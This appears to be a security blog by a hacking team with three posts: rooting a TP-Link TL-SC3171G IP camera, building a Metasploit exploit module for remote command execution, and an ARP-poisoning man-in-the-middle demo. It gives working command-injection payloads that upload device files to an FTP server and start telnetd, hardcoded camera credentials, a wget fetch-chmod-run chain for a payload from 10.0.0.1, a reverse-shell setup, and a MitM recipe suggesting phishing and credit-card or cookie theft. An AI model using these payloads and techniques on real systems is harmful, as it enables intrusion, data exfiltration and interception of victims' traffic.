TP-Link TL-SC3171G IP-camera r00t


I have few of these and due to recent hackings of ip – cameras and IoT devices, I decided to take a look at my own cameras (that are behind NAT by the way)… It was an interesting thing to do some research on these devices and they were actually very easy to pop.

Here is a method to root the device. Browsers connection was through Burp Suite so I could intercept and check the requests back and forth between the device and my browser. Of course, OWASP ZAP or something similar could also be used to do this.

TP-Link TL-SC3171G IP-camera main settings view.

When browsing through the the web interface, I ended up to a page that showed devices syslog. Interesting.

When checking the requests that were made to that page, I noticed that there was a very interesting request made to the device. It seems like the file is given as a parameter…

READ.filePath=syslog” ? I changed that parameter to ”/etc/hosts” – file and noticed that I could read files from the device file system. Any file.

Now this would already be bad, more if I would have the knowledge for all the config files on this embedded system…

After some enumeration, I didn’t find any ’jackpot’, so I moved on…After few minutes of research I found another interesting request that was made when testing the SMTP option on the device.

#1: I found a request that enabled me to write files anywhere I would like on the device. Thought this didn’t help me much, since I didn’t know where the cgi-bin was and there were no open ssh/telnet ports etc.

#2: that same ”Test” option sended another request. It compiled a command from the info user had filled to the form.

As can be seen from the Response, the email-test command is composed from the sended values. After some tests I found out that the device had ’wput’ command (that was clear based on the FTP connection tests via devices admin page). I was able to upload all files to my own server with ’wput’, after I  changed ”RcptToAddr1” value for example to…

  • nonexisting@example.fi ; /bin/wput -t0 -u -nc -p -o/testftp.log /bin* ftp://xyz:xyz@10.0.0.8/;
    • Note 1: value had to be URL encoded so it goes through.
    • Note 2: Probably all variables include RCE possibility on that request since they are not properly sanitized.

After I downloaded almost everything from the device ((/var/*, /etc/*, /web/*, /root/*, /usr/*, /bin/* /sbin/*…) through the FTP connection, I researched the files and noticed that there was telnetd in the busybox version included in the device. I once again modified the command through the email command (of course, in URL encoded format):

  • xyz@x00.fi; /bin/telnetd ;

And the gates were open…now port 23 answered:

After few tests I noticed that the default user is ’qmik’ (argh, it says ”QMIK login”…) and the user had sudo rights.

   

Of course, prerequisite is that one would have access to the email test page and that requires admin rights to the device. But no worries, after some enumeration of files, I noticed that there is hardcoded credentials in the device ( manufacture / erutcafunam )…

Oh, and that IP-camera doesn’t use any CSRF tokens, so it’s also possible to get your camera hacked by just visiting some malicious sites (if you’re logged in to the camera). Oh yes, and did you notice that the camera uses basic HTTP auth? That means your browser stays logged in until you close the browser.

– apox

Lets go through an exploit module I built for Metasploit Framework.

In a nutshell, the exploit contains only a couple of key elements – a HTTP Client and Server and a generated malicious payload.

I needed an easy way to abuse a Remote Command Execution vulnerability. A full exploit module that would generate the selected payload and return a meterpreter reverse shell back to me. All in one go.

Generally, exploit development is much more time consuming – and sometimes even more difficult – than just “triggering” the found vulnerability with a HTTP Request for instance.

What this exploit module does, is it exploits a RCE vulnerability via a malicious HTTP GET request.

Whats required from the victim, is that a linux ‘wget’ tool is installed, which is very common.    … and of course that there is a RCE vulnerability that allows the attacker to run shell commands.

Here is an example of PHP Code that would create such a vulnerability.

https://rot.fi/vulnerable_url.php:
 <?php exec($_GET['cmd']); ?>

You would simple call this URL by https://rot.fi/vulnerable_url.php?cmd=hostname

and that would result the backend webserver to run this the supplied command ‘hostname’. You wouldn’t see the result on page, as it is not printed on it.

I’ll break down the module and try to explain each part of it.

Foundations()

In order to get this module working, we need to define that it’s a Metasploit Exploit Module, and include the required libraries.

To define a module type, you define it in the class MetasploitModule < Msf::Exploit.

For an auxiliary module, you would use class MetasploitModule < Msf::Auxiliary

require ‘msf/core’

class MetasploitModule < Msf::Exploit
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML

OnesAndZeros()

Msf::Exploit::EXE, is what you need to generate a binary payload.

This guy is essential to our specific need to respond to a HTTP GET request with a file that’s loaded with goodies.

TriggerVuln()

Msf::Exploit::Remote::HttpClient , is what we’ll be using to poke the target and have it request a file from us.

HttpClient will introduce you to four extra Opts – RHOST, RPORT,SSL and VHOST – which will be used to define which server and port we want use to send the HTTP requests to and VHOST for defining what kind of HTTP Host-header we want to use. The SSL Opt is a boolean defining whether or not the client connection is encrypted.

Above, I gave you an example of running a ‘hostname‘ command on the vulnerable server, which would likely be of no benefit to the attacker.

For this case, I would use a chained command that would firstly download my evil binary payload, give it execute permissions and then run it…
…like ‘wget 10.0.0.1/evil -O /tmp/evil;chmod 777 /tmp/evil;/tmp/evil

In a HTTP Request, it would look something like this

https://rot.fi/vulnerable_url.php?cmd=wget 10.0.0.1/evil -O /tmp/evil

https://rot.fi/vulnerable_url.php?cmd=chmod 777 /tmp/evil

https://rot.fi/vulnerable_url.php?cmd=/tmp/evil

HereToServe()

Msf::Exploit::Remote::HttpServer::HTML, is what we use to deliver requested the payload.

The HttpServer will introduce you to two extra Opts, SRVHOST and SRVPORT and it has two key functions you need to notice. The Opts will define which IP and port the HttpServer will bind to.

def primer

What is defined here runs when the HttpServer is started but still before any connections are accepted in.

We don’t need to do anything here, this time.

def on_request_uri(cli, req)

This function is called each time a request comes in.

What is noteworthy is that the on_request_uri is called when the exact URI is called, which we will be defining later in the module.

In this function I’m generating the binary payload on each request and sending it back to the client.

What the payload will contain, will be the one you choose while configuring the exploit.

on_request.JPG

Initialize()

For an exploit module, you need to define a target, and the register_options are used by the HTTP Server library.

In the initialize function you also define the Name, Author and License for your creation, among other things. For a BufferOverflow exploit, you’d define bad characters and usually multiple targets like kernel versions and such.

Also, notice that the register_options Opts are typecasted, to strings, integers, etc..

initialize

Code()

A Metasploit Exploit will be using a exploit and check functions.

def check

This function is supposed to be used to check if the target is vulnerable. Sometimes its not even possible but its best to have even partial check than to launch an exploit script against a target that’s not even online.

check

The above check function sends a GET request at the RHOST and checks if the HTTP return code is OK or not.

Based on the HTTP code, we return a Vulnerable or a Safe status to the exploit module.

def exploit

In most cases, this is where the magic happens.

You can rewrite Opts by manipulating the datastore[] array.

The HTTPServer is started as a new instance with the start_service() function.

By setting SSL Opt to true/false you can choose whether you want to start the HTTPServer with Transport Layer Security.

exploit

I’ve put in a sleep(150) because sometime it takes time for the victim to execute the payload, so we don’t want our script to die before that happens.

The actual exploitation takes place in the request function

def request

request

 

What now?

So whats really cool about a exploit module like this, is that you get it all  in the Swiss army knife we call Metasploit Framework.

Instead of using this module, we could do the same manually:

  1. Setup and configure an Apache Web server
  2. Create a binary payload with msfvenom manually
  3. Setup a Listener /  Handler to grab the shell
  4. Trigger the vulnerability with curl/wget

Yes, I guess if you compare the time it takes to develop a working module to the time it takes to do the above four steps, the latter wins.

Let me demonstrate you how this is exploited via the working module.

Firstly, you need to download and add the module to Metasploit

git clone https://github.com/jake08/Metasploit
mv Metasploit/rot_rce.rb /usr/share/metasploit-framework/modules/exploits/linux/http

Then start up msfconsole and find the module

msfconsole
search rot_rce

msfsearch

Then use and set it up according to your network

here’s a friendly  reminder what’s what:

  • RHOST => Target Host that has the RCE Vulnerability
  • RPORT => Target Port for the above server
  • SRVHOST => The IP for the Local HTTP Server, make sure its reachable by RHOST
  • SRVPORT => Port for the above Server
  • VHOST => Virtual Host, or HTTP Host-header for RHOST eg. amazon.com, rot.fi
  • WRITABLEDIR => A Directory on the RHOST where we can drop the payload
  • PAYLOAD => Your friendly neighborhood reverse shell
  • LHOST => Return IP for the reverse shell, make sure its reachable by RHOST
  • LPORT => Port for above server

setupexploit

Run check and exploit for profit.

msfexploit.JPG

 

Additional resources

Complete module code

More on Metasploit Module development

 

Logout

j3k, hacker

 

Man-in-the-Middle with RotMiTM()

This is a demo of how to intercept and proxy HTTP and HTTPS requests from a mobile device without having to root the device (though it isn’t limited to mobile devices).

As an alternative to HAK5 WiFi Pineapple this might be the cheaper option, but obviously doesn’t have all the fancy features that a pineapple has.

Check out this, a script on how to abuse a WiFi Pinapple by Apox.

In short, it’s about ARP Poisoning the LAN network to route all traffic from the victim to me and then intercept and modify the HTTP/HTTPS requests and responses.

By using python flask server, I wanted to demonstrate how simple it would be to have the victim run malicious code.

In total, the whole project was about 100 lines of code and most of the time spent on this project was on writing this blog post.

Of course there are warnings of self-signed certificates, but that only applies to HTTPS.

Tools used in this demo

Burp Suite (by Portswigger) to intercept HTTP/S Requests.

Python Scapy Framework to ARP Poison the network and “reroute” traffic

Python flask to setup an easy and fast web server.

Flask isn’t necessarily required to accomplish this, but its a nice and handy tool for capturing and storing data like stolen cookies etc, sky’s the limit.
e.g You could easily create a SQLite database and store each client, request, session cookie, parameter value and so forth

But now to the actual demo..

Quiz

quiz

After firing up the script, you need to define which interface you’re going to use for poisoning, which is the victims IP address and the gateway IP, which usually is the nearest router or firewall.

The script will assume some of the targets, but better fill them in according to your use case.

Poison()

How ARP Poisoning works, is that you broadcast malicious ARP Packets to your Layer 2 Network .

Basically, a device broadcasts to the network a packet asking “Who has this IP address” and to that question, the device that really does have that IP address sort of broadcasts into the network saying “its me”.

What we do here is we also say “its me”, which will override the legit response meaning that now the device thinks that we’re actually the gateway.

In order to make this bi-directional, we also need to poison the way back to the client, and we do.

Rot()

def rot(self,victimIP, gatewayIP, interface):
    while 1:
        self.poison(victimIP, victimMAC, gatewayIP, gatewayMAC)

In order to maintain the decomposing state of the network, we continue broadcasting the malicious ARP packets over and over again.

Below you can see it in action. Make note that both the “gateway” and the victim have the same MAC address (c4:85:08:8b:94:67) which actually is the MAC address of the attacker, which is us.

arppoison

It’s alive!

So now, the Frankenstein has been awakened, and the network is ours.

By utilizing tcpdump we can inspect and verify that indeed, the traffic is going through us.

tcpdumprequest

In the above example, we can see a HTTP GET request to j3k.fi.

So now that we’re the man in the middle, we want to intercept the request before its going to where its supposed to.

For that we need to redirect traffic with iptables to our proxy of choice, which is Burp Suite in this case.

RotMiTM/rot_mitm.py
  http="iptables -t nat -A PREROUTING -i "+interface+" -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 8080"
  https="iptables -t nat -A PREROUTING -i "+interface+" -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 8080"
  os.system(http)
  os.system(https)

Setting up Burp

This tool is excellent as is and very expandable by so many public modules for pretty much anything that concerns testing web applications.

burpinvisibleproxy

To get started, you need to configure Burp proxy to listen the port defined in the iptables redirect. Port TCP/8080.

Also, be sure to enable the invisible proxy setting, as it is vital for this to work.

Now, Burp Suite will be able to intercept the requests and we can start modifying them.

For this demo, we added a Hostname Resolution for j3k.fi to point to 127.0.0.1, where our malicious python flask web server is located.

burpdnsconfig

Genie in a bottle

flaskserver

What I mean by Genie, is  a hacker using Python Flask.

We are using a flask server to return HTTP Code 200 and some HTML code, more on this below..

With Python Flask, you can create an adhoc HTTP server to do basically whatever you want, as it is a Python framework, its just a matter of what you can or want do with it..

Back to Burp, capture and modify

On the mobile device, we browse to https://j3k.fi and what happens here is that our MiTM box, intercepts the request, replaces the real IP address of j3k.fi with what was defined in the Hostname Resolution setting in Burp Suite.

So now, the victim assumes that whatever response he gets, will be originating from real j3k.fi, when it really isn’t…

dnsintercepted

httpsresponsexss

Voilà, we’ve now successfully sent the victim a messagebox saying ‘XSS’.

Hardly exciting huh?

Feel free to replace that HTML/JavaScript with some that is more targeted, like a phishing site or a network login form asking for Hotel Room number, credit card numbers etc..

Cure()

Logout

J3k, hacker.

Let’s try doing some public disclosures and CTF writeups here.
Posts are written by members of team ROT.